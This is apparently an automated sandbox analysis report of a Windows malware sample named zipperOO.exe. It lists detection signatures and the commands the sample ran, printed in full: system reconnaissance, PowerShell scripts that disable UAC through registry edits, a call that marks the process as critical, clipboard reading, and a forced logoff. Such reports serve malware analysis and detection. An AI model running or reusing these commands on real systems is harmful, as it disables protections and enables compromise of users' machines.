Analysis

  • user interaction
    yes
  • max time kernel
    89s
  • max time network
    87s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 04:26

General

  • Target
    zipperOO.exe
  • Size 10.2MB
  • Sample260728-e2re4aeh89
  • SHA256 ad7964a2b635e31042552bd54ea37c6caeb8b482de2e0339ea3bead8e4258a6f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • UAC bypass 3 TTPs 6 IoCs
  • Clipboard Data 1 TTPs 1 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Using powershell.exe command.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 1 IoCs
  • Modifies registry key 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 23 IoCs
  • Suspicious behavior: LoadsDriver 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\zipperOO.exe
    "C:\Users\Admin\AppData\Local\Temp\zipperOO.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4836
    • C:\Windows\system32\cmd.exe
      cmd /c ver
      2⤵
      • Executes a command shell one-liner
      PID:3280
    • C:\Windows\system32\cmd.exe
      cmd /c "systeminfo | findstr /B /C:\"OS Name\""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4964
      • C:\Windows\system32\systeminfo.exe
        systeminfo
        3⤵
        • Gathers system information
        PID:3852
      • C:\Windows\system32\findstr.exe
        findstr /B /C:\"OS Name\"
        3⤵
          PID:3080
      • C:\Windows\system32\reg.exe
        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
        2⤵
        • Modifies registry key
        PID:6048
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$cs = Get-CimInstance Win32_ComputerSystem; $mem = Get-CimInstance Win32_PhysicalMemory | Select-Object -First 1; $totalGB = $cs.TotalPhysicalMemory / 1GB; $ddr = switch ($mem.SMBIOSMemoryType) { 26 { 'DDR5' } 20 { 'DDR4' } 21 { 'DDR3' } 25 { 'DDR3' } 24 { 'DDR2' } 17 { 'SDRAM' } default { 'DDR' }; }; Write-Output \"$([math]::Round($totalGB, 2)) GB $ddr\""
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5604
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$cpu = Get-CimInstance Win32_Processor; Write-Output \"$($cpu.Name) ($($cpu.NumberOfCores) cores, $($cpu.NumberOfLogicalProcessors) threads)\""
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4804
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Get-CimInstance Win32_VideoController | Select-Object -ExpandProperty Name"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2236
      • C:\Windows\system32\reg.exe
        reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid
        2⤵
        • Modifies registry key
        PID:5700
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command " # Disable UAC by modifying registry $regPath = \"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" # Set EnableLUA to 0 (disables UAC) Set-ItemProperty -Path $regPath -Name \"EnableLUA\" -Value 0 -Type DWord # Set ConsentPromptBehaviorAdmin to 0 (no prompt for admins) Set-ItemProperty -Path $regPath -Name \"ConsentPromptBehaviorAdmin\" -Value 0 -Type DWord # Set PromptOnSecureDesktop to 0 (disable secure desktop) Set-ItemProperty -Path $regPath -Name \"PromptOnSecureDesktop\" -Value 0 -Type DWord # Verify changes $enableLUA = (Get-ItemProperty -Path $regPath -Name \"EnableLUA\").EnableLUA if ($enableLUA -eq 0) { Write-Host \"SUCCESS: UAC has been disabled!\" } else { Write-Host \"FAILED: Could not disable UAC\" } "
        2⤵
        • UAC bypass
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2576
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command " # Disable UAC by modifying registry $regPath = \"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" # Set EnableLUA to 0 (disables UAC) Set-ItemProperty -Path $regPath -Name \"EnableLUA\" -Value 0 -Type DWord # Set ConsentPromptBehaviorAdmin to 0 (no prompt for admins) Set-ItemProperty -Path $regPath -Name \"ConsentPromptBehaviorAdmin\" -Value 0 -Type DWord # Set PromptOnSecureDesktop to 0 (disable secure desktop) Set-ItemProperty -Path $regPath -Name \"PromptOnSecureDesktop\" -Value 0 -Type DWord # Verify changes $enableLUA = (Get-ItemProperty -Path $regPath -Name \"EnableLUA\").EnableLUA if ($enableLUA -eq 0) { Write-Host \"SUCCESS: UAC has been disabled!\" } else { Write-Host \"FAILED: Could not disable UAC\" } "
        2⤵
        • UAC bypass
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3912
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command " $code = @\" using System; using System.Runtime.InteropServices; public class CriticalProc { [DllImport(\"ntdll.dll\")] public static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength); } \"@ Add-Type -TypeDefinition $code $process = Get-Process -Id 4836 $breakOnTermination = 1 $result = [CriticalProc]::NtSetInformationProcess($process.Handle, 0x1D, [ref]$breakOnTermination, 4) if ($result -eq 0) { Write-Host \"SUCCESS\" } else { Write-Host \"FAILED: $result\" } "
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:5008
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Get-Clipboard
        2⤵
        • Clipboard Data
        • Suspicious behavior: EnumeratesProcesses
        PID:4568
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('{F13}'); Start-Sleep -Seconds 1; [System.Windows.Forms.SendKeys]::SendWait('{F13}')"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:716
      • C:\Windows\system32\shutdown.exe
        shutdown /l
        2⤵
          PID:3592
      • C:\Windows\system32\OpenWith.exe
        C:\Windows\system32\OpenWith.exe -Embedding
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:2872
      • C:\Windows\system32\LogonUI.exe
        "LogonUI.exe" /flags:0x4 /state0:0xa3a38055 /state1:0x41c64e6d
        1⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of SetWindowsHookEx
        PID:4128
      • C:\Windows\System32\svchost.exe
        C:\Windows\System32\svchost.exe -k CameraMonitor
        1⤵
          PID:2368

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 d951880167e7e61ad89447b3f6cb1af5e66273010a7daaae9cbd9998691cbdc2
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 86ae1dde93319400f85255e9dbdf7074af6436537c1c12fad460fa8e230b2139
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 473889632e80d34ad4e94bd2875dd79d461db77e30248746936d3b3efc38ca52
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 0e56deb773923cbd1983ef7d920d4c06bfc93bbef70b914b54d86ed676ad084d
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 5e34248dd2cc55f37525b0f9dd7f4f19e879ad15905df49539c20497a21dd7ec
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 948B
              • SHA256 0b9ca35d7c3a939f6496acd440913cf92a28884ed0379d5b9756a0446ef017ec
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 935899f690dfcf66a41c7837bbf84c5a0eea001b26e1adc5aa0fa84d5d96d1ca
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_okqxmwhw.rwf.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_okqxmwhw.rwf.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              memory/5604-2-0x0000024C76030000-0x0000024C76052000-memory.dmp

              memory/5604-9-0x0000024C76590000-0x0000024C765B4000-memory.dmp

              memory/5604-8-0x0000024C76590000-0x0000024C765BA000-memory.dmp

              memory/5604-7-0x0000024C76110000-0x0000024C7611A000-memory.dmp

              memory/5604-6-0x0000024C76350000-0x0000024C76402000-memory.dmp

              memory/5604-5-0x0000024C760F0000-0x0000024C7610E000-memory.dmp